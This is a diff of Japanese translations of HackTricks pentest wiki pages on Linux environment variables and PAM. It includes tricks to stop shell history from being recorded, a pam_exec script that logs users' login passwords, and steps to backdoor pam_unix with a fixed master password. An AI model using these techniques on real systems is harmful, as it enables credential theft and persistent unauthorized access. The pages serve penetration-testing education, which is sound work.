[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)** をフォロー**してください。 +* **ハッキングのトリックを共有するには、** [**hacktricks リポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud リポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **に PR を提出**してください。
diff --git a/linux-hardening/linux-environment-variables.md b/linux-hardening/linux-environment-variables.md index a1dbbe4f3..73a67a83b 100644 --- a/linux-hardening/linux-environment-variables.md +++ b/linux-hardening/linux-environment-variables.md @@ -1,48 +1,51 @@ -# Linux Environment Variables +# Linux環境変数
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-## Global variables +## グローバル変数 -The global variables **will be** inherited by **child processes**. - -You can create a global variable for your current session doing: +グローバル変数は**子プロセス**によって継承されます。 +現在のセッションのためにグローバル変数を作成するには、次のようにします: ```bash export MYGLOBAL="hello world" echo $MYGLOBAL #Prints: hello world ``` +この変数は現在のセッションとその子プロセスからアクセスできます。 -This variable will be accessible by your current sessions and its child processes. - -You can **remove** a variable doing: - +変数を**削除**するには、次のようにします: ```bash unset MYGLOBAL ``` +## ローカル変数 -## Local variables - -The **local variables** can only be **accessed** by the **current shell/script**. - +**ローカル変数**は、**現在のシェル/スクリプト**からのみ**アクセス**できます。 ```bash LOCAL="my local" echo $LOCAL unset LOCAL ``` +## 現在の変数のリスト -## List current variables +To list the current environment variables in Linux, you can use the `printenv` command. This command will display all the variables and their values. +Linuxで現在の環境変数をリストするには、`printenv`コマンドを使用します。このコマンドは、すべての変数とその値を表示します。 + +```bash +$ printenv +``` + +This will output a list of all the environment variables currently set on your system. ```bash set env @@ -50,107 +53,98 @@ printenv cat /proc/$$/environ cat /proc/`python -c "import os; print(os.getppid())"`/environ ``` +## 永続的な環境変数 -## Persistent Environment variables +#### **すべてのユーザーの動作に影響を与えるファイル:** -#### **Files that affect behavior of every user:** +* _**/etc/bash.bashrc**_: このファイルはインタラクティブシェル(通常のターミナル)が起動されるたびに読み込まれ、ここに指定されたすべてのコマンドが実行されます。 +* _**/etc/profile および /etc/profile.d/\***_**:** このファイルはユーザーがログインするたびに読み込まれます。したがって、ここで実行されるすべてのコマンドは、ユーザーがログインする時点で一度だけ実行されます。 +* \*\*例: \*\* -* _**/etc/bash.bashrc**_: This file is read whenever an interactive shell is started (normal terminal) and all the commands specified in here are executed. -* _**/etc/profile and /etc/profile.d/\***_**:** This file is read every time a user logs in. Thus all the commands executed in here will execute only once at the time of user logging in. - * \*\*Example: \*\* +`/etc/profile.d/somescript.sh` - `/etc/profile.d/somescript.sh` +```bash +#!/bin/bash +TEST=$(cat /var/somefile) +export $TEST +``` - ```bash - #!/bin/bash - TEST=$(cat /var/somefile) - export $TEST - ``` +#### **特定のユーザーの動作に影響を与えるファイル:** -#### **Files that affect behavior for only a specific user:** +* _**\~/.bashrc**_: このファイルは _/etc/bash.bashrc_ ファイルと同じように動作しますが、特定のユーザーのみに対して実行されます。自分自身の環境を作成したい場合は、このファイルをホームディレクトリに変更または作成してください。 +* _**\~/.profile, \~/.bash\_profile, \~/.bash\_login**_**:** これらのファイルは _/etc/profile_ と同じです。違いは実行方法です。このファイルは、このファイルが存在するユーザーがログインしたときにのみ実行されます。 -* _**\~/.bashrc**_: This file behaves the same way _/etc/bash.bashrc_ file works but it is executed only for a specific user. If you want to create an environment for yourself go ahead and modify or create this file in your home directory. -* _**\~/.profile, \~/.bash\_profile, \~/.bash\_login**_**:** These files are same as _/etc/profile_. The difference comes in the way it is executed. This file is executed only when a user in whose home directory this file exists, logs in. +**抜粋元:** [**こちら**](https://codeburst.io/linux-environment-variables-53cea0245dc9) **および** [**こちら**](https://www.gnu.org/software/bash/manual/html\_node/Bash-Startup-Files.html) -**Extracted from:** [**here**](https://codeburst.io/linux-environment-variables-53cea0245dc9) **and** [**here**](https://www.gnu.org/software/bash/manual/html\_node/Bash-Startup-Files.html) - -## Common variables +## 一般的な変数 From: [https://geek-university.com/linux/common-environment-variables/](https://geek-university.com/linux/common-environment-variables/) -* **DISPLAY** – the display used by **X**. This variable is usually set to **:0.0**, which means the first display on the current computer. -* **EDITOR** – the user’s preferred text editor. -* **HISTFILESIZE** – the maximum number of lines contained in the history file. -* \*\*HISTSIZE - \*\*Number of lines added to the history file when the user finish his session -* **HOME** – your home directory. -* **HOSTNAME** – the hostname of the computer. -* **LANG** – your current language. -* **MAIL** – the location of the user’s mail spool. Usually **/var/spool/mail/USER**. -* **MANPATH** – the list of directories to search for manual pages. -* **OSTYPE** – the type of operating system. -* **PS1** – the default prompt in bash. -* \*\*PATH - \*\*stores the path of all the directories which holds binary files you want to execute just by specifying the name of the file and not by relative or absolute path. -* **PWD** – the current working directory. -* **SHELL** – the path to the current command shell (for example, **/bin/bash**). -* **TERM** – the current terminal type (for example, **xterm**). -* **TZ** – your time zone. -* **USER** – your current username. +* **DISPLAY** – **X** で使用されるディスプレイ。この変数は通常 **:0.0** に設定されます。これは現在のコンピュータ上の最初のディスプレイを意味します。 +* **EDITOR** – ユーザーの優先するテキストエディター。 +* **HISTFILESIZE** – 履歴ファイルに含まれる行数の最大値。 +* \*\*HISTSIZE - \*\*ユーザーがセッションを終了するときに履歴ファイルに追加される行数 +* **HOME** – ホームディレクトリ。 +* **HOSTNAME** – コンピュータのホスト名。 +* **LANG** – 現在の言語。 +* **MAIL** – ユーザーのメールスプールの場所。通常は **/var/spool/mail/USER** です。 +* **MANPATH** – マニュアルページを検索するディレクトリのリスト。 +* **OSTYPE** – オペレーティングシステムのタイプ。 +* **PS1** – bash のデフォルトプロンプト。 +* \*\*PATH - \*\*実行したいバイナリファイルが格納されているディレクトリのパスを保持します。ファイル名を指定するだけで相対パスや絶対パスを指定せずに実行できます。 +* **PWD** – 現在の作業ディレクトリ。 +* **SHELL** – 現在のコマンドシェルへのパス(例: **/bin/bash**)。 +* **TERM** – 現在の端末のタイプ(例: **xterm**)。 +* **TZ** – 自分のタイムゾーン。 +* **USER** – 現在のユーザー名。 -## Interesting variables for hacking +## ハッキングに関連する興味深い変数 ### **HISTFILESIZE** -Change the **value of this variable to 0**, so when you **end your session** the **history file** (\~/.bash\_history) **will be deleted**. - +この変数の値を0に変更すると、セッションを終了するときに履歴ファイル(\~/.bash\_history)が削除されます。 ```bash export HISTFILESIZE=0 ``` - ### **HISTSIZE** -Change the **value of this variable to 0**, so when you **end your session** any command will be added to the **history file** (\~/.bash\_history). - +この変数の値を0に変更してください。これにより、セッションを終了するときにはどのコマンドも履歴ファイル(\~/.bash\_history)に追加されません。 ```bash export HISTSIZE=0 ``` - ### http\_proxy & https\_proxy -The processes will use the **proxy** declared here to connect to internet through **http or https**. - +プロセスはここで宣言された**プロキシ**を使用して、**httpまたはhttps**を介してインターネットに接続します。 ```bash export http_proxy="http://10.10.10.10:8080" export https_proxy="http://10.10.10.10:8080" ``` - ### SSL\_CERT\_FILE & SSL\_CERT\_DIR -The processes will trust the certificates indicated in **these env variables**. - +プロセスは、**これらの環境変数**で指定された証明書を信頼します。 ```bash export SSL_CERT_FILE=/path/to/ca-bundle.pem export SSL_CERT_DIR=/path/to/ca-certificates ``` - ### PS1 -Change how your prompt looks. +プロンプトの表示方法を変更します。 -I have created [**this one**](https://gist.github.com/carlospolop/43f7cd50f3deea972439af3222b68808) (based on another, read the code). +[**こちら**](https://gist.github.com/carlospolop/43f7cd50f3deea972439af3222b68808)を作成しました(別のものを基にしています、コードを読んでください)。 -Root: +ルートユーザー: ![](<../.gitbook/assets/image (87).png>) -Regular user: +通常のユーザー: ![](<../.gitbook/assets/image (88).png>) -One, two and three backgrounded jobs: +バックグラウンドで実行されているジョブが1つ、2つ、3つある場合: ![](<../.gitbook/assets/image (89).png>) -One background job, one stopped and last command didn't finish correctly: +バックグラウンドで実行されているジョブが1つあり、1つが停止しており、最後のコマンドが正常に終了していない場合: ![](<../.gitbook/assets/image (90).png>) @@ -158,10 +152,10 @@ One background job, one stopped and last command didn't finish correctly: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** diff --git a/linux-hardening/linux-post-exploitation/README.md b/linux-hardening/linux-post-exploitation/README.md index 6112a32c4..141b2a725 100644 --- a/linux-hardening/linux-post-exploitation/README.md +++ b/linux-hardening/linux-post-exploitation/README.md @@ -1,119 +1,107 @@ -# Linux Post-Exploitation +# Linuxのポストエクスプロイテーション
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-## Sniffing Logon Passwords with PAM +## PAMを使用してログオンパスワードをスニッフィングする -Let's configure a PAM module to log each password each user uses to login. If you don't know what is PAM check: +PAMモジュールを設定して、ユーザーがログインに使用するパスワードを記録します。PAMが何かわからない場合は、次を確認してください: {% content-ref url="pam-pluggable-authentication-modules.md" %} [pam-pluggable-authentication-modules.md](pam-pluggable-authentication-modules.md) {% endcontent-ref %} -First, we create a bash script that will be invoked whenever a new authentication occurs. - +まず、新しい認証が行われるたびに呼び出されるbashスクリプトを作成します。 ```bash #!/bin/sh echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log ``` +変数はPAM固有であり、`pam_exec.so`モジュールを介して利用できるようになります。 -The variables are PAM specific and will become available via the `pam_exec.so` module. +以下は変数の意味です: -Here is the meaning of the variables: - -* **$PAM\_USER:** The username that was entered. -* **$PAM\_RHOST:** The remote host (typically the IP Address) -* **$(cat -):** This reads `stdin`, and will contain the password that the script grabs -* The results are piped into a log file at `/var/log/toomanysecrets.log` - -To **prevent all users from reading** the file consider pre-creating it and running `chmod`, e.g.: +* **$PAM\_USER:** 入力されたユーザー名です。 +* **$PAM\_RHOST:** リモートホスト(通常はIPアドレス) +* **$(cat -):** これは`stdin`を読み取り、スクリプトが取得するパスワードが含まれます +* 結果は`/var/log/toomanysecrets.log`にログファイルとしてパイプされます +ファイルを**すべてのユーザーが読めないようにする**には、事前に作成して`chmod`を実行してください。例: ```bash sudo touch /var/log/toomanysecrets.sh sudo chmod 770 /var/log/toomanysecrets.sh ``` +次に、PAMの設定ファイルを更新する必要があります。`pam_exec`モジュールを使用してスクリプトを呼び出します。 -Next, the PAM configuration file needs to be updated the `pam_exec` module will be used to invoke the script. - -There are various config files located in `/etc/pam.d/`, and we pick `common-auth`. - +`/etc/pam.d/`にはさまざまな設定ファイルがありますが、`common-auth`を選択します。 ``` sudo nano /etc/pam.d/common-auth ``` - -On the very bottom of the file, add the following authentication module: +ファイルの一番下に、次の認証モジュールを追加してください: `auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh` -The options have the following meaning: +オプションの意味は以下の通りです: -* **optional:** Authenticaiton shouldn’t fail if there is an error (it’s not a required step) -* **pam\_exec.so:** This is the living off the land PAM module that can invoke arbitrary scripts -* **expose\_authtok:** This is the trick that allows to read the password via `stdin` -* **quiet:** Don’t show any errors to the user (if something doesn’t work) -* The last argument is the shell script that was created previously +* **optional:** エラーがあっても認証は失敗しない(必須のステップではない) +* **pam\_exec.so:** 任意のスクリプトを呼び出すことができる、Living off the land PAMモジュール +* **expose\_authtok:** `stdin`を介してパスワードを読み取るためのトリック +* **quiet:** ユーザーにエラーを表示しない(何かがうまくいかない場合) +* 最後の引数は以前作成したシェルスクリプトです ![](<../../.gitbook/assets/image (375).png>) -Finally, make the file executable: +最後に、ファイルを実行可能にします: `sudo chmod 700 /usr/local/bin/toomanysecrets.sh` -Now, let’s try this out and ssh from another machine, or login locally. - -And then look at the log file: +これで、別のマシンからsshで接続するか、ローカルでログインしてみましょう。 +そしてログファイルを確認してください: ``` $ sudo cat /var/log/toomanysecrets.log - Sun Jun 26 23:36:37 PDT 2022 tom, Trustno1!, From: 192.168.1.149 - Sun Jun 26 23:37:53 PDT 2022 tom, Trustno1!, From: - Sun Jun 26 23:39:12 PDT 2022 tom, Trustno1!, From: 192.168.1.149 +Sun Jun 26 23:36:37 PDT 2022 tom, Trustno1!, From: 192.168.1.149 +Sun Jun 26 23:37:53 PDT 2022 tom, Trustno1!, From: +Sun Jun 26 23:39:12 PDT 2022 tom, Trustno1!, From: 192.168.1.149 ``` +### PAMのバックドア設定 -### Backdooring PAM - -Let go to the sources of PAM (depends on your distro, take the same version number as yours..) and look around line numbers 170/180 in the pam\_unix\_auth.c file: - +PAMのソースコードに移動しましょう(ディストリビューションによって異なりますが、自分のバージョンと同じものを選択してください)。pam\_unix\_auth.cファイルの170/180行付近を見てみましょう。 ``` vi modules/pam_unix/pam_unix_auth.c ``` - ![](<../../.gitbook/assets/image (651).png>) -Let’s change this by: +これを以下のように変更します: ![](<../../.gitbook/assets/image (638) (2) (2).png>) -This will allow any user using the **password "0xMitsurugi"** to log in. - -Recompile the `pam_unix_auth.c`, and replace the pam\_unix.so file: +これにより、**パスワード "0xMitsurugi"** を使用するユーザーはログインできるようになります。 +`pam_unix_auth.c`を再コンパイルし、pam\_unix.soファイルを置き換えます。 ```bash make -sudo cp \ - /home/mitsurugi/PAM/pam_deb/pam-1.1.8/modules/pam_unix/.libs/pam_unix.so \ - /lib/x86_64-linux-gnu/security/ +sudo cp \ +/home/mitsurugi/PAM/pam_deb/pam-1.1.8/modules/pam_unix/.libs/pam_unix.so \ +/lib/x86_64-linux-gnu/security/ ``` - {% hint style="info" %} -You can automate this process with [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) +このプロセスは、[https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)を使用して自動化することができます。 {% endhint %} -## References +## 参考文献 * [https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/) * [https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9) @@ -122,14 +110,14 @@ You can automate this process with [https://github.com/zephrax/linux-pam-backdoo ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**する[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。** diff --git a/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md b/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md index f99267242..692e473dc 100644 --- a/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md +++ b/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md @@ -1,28 +1,25 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
-PAM is a collection of modules that essentially form a barrier between a service on your system, and the user of the service. The modules can have widely varying purposes, from disallowing a login to users from a particular UNIX group \(or netgroup, or subnet…\), to implementing resource limits so that your ‘research’ group can’t hog system resources. +PAMは、システム上のサービスとそのユーザーの間に本質的にバリアを形成するモジュールのコレクションです。これらのモジュールには、特定のUNIXグループ(またはネットグループ、サブネットなど)からのユーザーログインを禁止する、システムリソースを占有しないようにリソース制限を実装するなど、さまざまな目的があります。 -# Config Files - -Solaris and other commercial UNIX systems have a slightly different configuration model, centered around a single file, **`/etc/pam.conf`**. On most Linux systems, these configuration files live in **`/etc/pam.d`**, and are named after the service – for example, the ‘login’ configuration file is called **`/etc/pam.d/login`**. Let’s have a quick look at a version of that file: +# 設定ファイル +Solarisおよび他の商用UNIXシステムは、**`/etc/pam.conf`**という単一のファイルを中心にしたわずかに異なる設定モデルを持っています。ほとんどのLinuxシステムでは、これらの設定ファイルは**`/etc/pam.d`**にあり、サービスに基づいて名前が付けられています。たとえば、'login'の設定ファイルは**`/etc/pam.d/login`**と呼ばれます。以下はそのファイルのバージョンです: ```text auth required /lib/security/pam_securetty.so auth required /lib/security/pam_nologin.so @@ -35,59 +32,39 @@ password required /lib/security/pam_ldap.so password required /lib/security/pam_pwdb.so use_first_pass session required /lib/security/pam_unix_session.so ``` +## **PAM管理の領域** -## **PAM Management Realms** +左側の列には、PAM管理の4つの領域を表す4つのユニークな単語が含まれています:**auth**、**account**、**password**、**session**。これらの領域をサポートする多くのモジュールがあります(実際には、pam_unixはすべてをサポートしています)、一方、pam_cracklibのような他のモジュールは1つにしか適していません(pam_cracklibの場合は「password」機能)。 -The leftmost column can contains four unique words, which represent four realms of PAM management: **auth**, **account**, **password** and **session**. While there are many modules which support more than one of these realms \(indeed, pam\_unix supports all of them\), others, like pam\_cracklib for instance, are only suited for one \(the ‘password’ facility in pam\_cracklib’s case\). +* **auth**:「auth」領域(私はこれを領域と呼んでいますが、ドキュメントでは「管理グループ」または「施設」と呼ばれています)は、ユーザーが自分自身であることを確認する責任があります。この領域にリストアップできるモジュールは、**パスワードの入力を求める**ことが一般的です。 +* **account**:この領域は、さまざまな**アカウントの検証機能**に責任を持ちます。この施設には多くのモジュールがあります。グループメンバーシップのチェック、時刻、ユーザーアカウントがローカルかリモートかなどに基づいてサービスの使用に制約を加えることは、一般的にこの施設をサポートするモジュールによって強制されます。 +* **password**:この領域のモジュールは、特定のサービスの**パスワードの更新**に必要な機能を担当します。ほとんどの場合、このセクションは非常に単調です。現在のパスワードの入力を求めるモジュールを呼び出し、それが成功した場合は新しいパスワードの入力を求めます。他のモジュールを追加して、パスワードの複雑さや辞書のチェックなども実行できます。これは、pam_cracklibやpam_pwcheckモジュールによって実行されるものです。 +* **session**:この領域のモジュールは、特定のユーザーのサービスの**セットアップまたはクリーンアップ**中に発生するさまざまな操作を実行します。これには、システム全体の初期化スクリプトの起動、特別なログ記録、ユーザーのホームディレクトリのマウント、リソース制限の設定など、さまざまな操作が含まれる場合があります。 -* **auth**: The ‘auth’ realm \(I call it a realm – the docs refer to it as a ‘management group’ or ‘facility’\) is responsible for checking that the user is who they say. The modules that can be listed in this area **generally** support **prompting for a password**. -* **account**: This area is responsible for a wide array of possible **account verification functionality**. There are many modules available for this facility. Constraints to the use of a service based on **checking group membership**, time of day, whether a user account is local or remote, etc., are generally enforced by modules which support this facility. -* **password**: The modules in this area are responsible for any functionality needed in the course of **updating passwords** for a given service. Most of the time, this section is pretty ‘ho-hum’, simply calling a module that **will prompt for a current password**, and, assuming that’s successful, prompt you for a new one. Other modules could be added to perform **password complexity** or dictionary checking as well, such as that performed by the pam\_cracklib and pam\_pwcheck modules. -* **session**: Modules in this area perform any number of things that happen either **during the setup or cleanup of a service** for a given user. This may include any number of things; launching a system-wide initialization script, performing special logging, **mounting the user’s home directory**, or setting resource limits. +## **PAMモジュールの制御** -## **PAM Module Controls** +**中央の列**には、モジュールが成功または失敗した場合に**PAMがどのように動作するかを決定するキーワード**が含まれています。これらのキーワードはPAM用語では「**制御**」と呼ばれます。90%の場合、一般的なキーワード(**requisite**、**required**、**sufficient**、**optional**)のいずれかを使用できます。ただし、これはPAMの柔軟性とパワーを解放するための氷山の一角に過ぎません。 -The **middle column** holds a keyword that essentially determines w**hat PAM should do if the module either succeeds or fails**. These keywords are called ‘**controls**’ in PAM-speak. In 90% of the cases, you can use one of the common keywords \(**requisite**, **required**, **sufficient** or **optional**\). However, this is only the tip of the iceberg in terms of unleashing the flexibility and power of PAM. +* 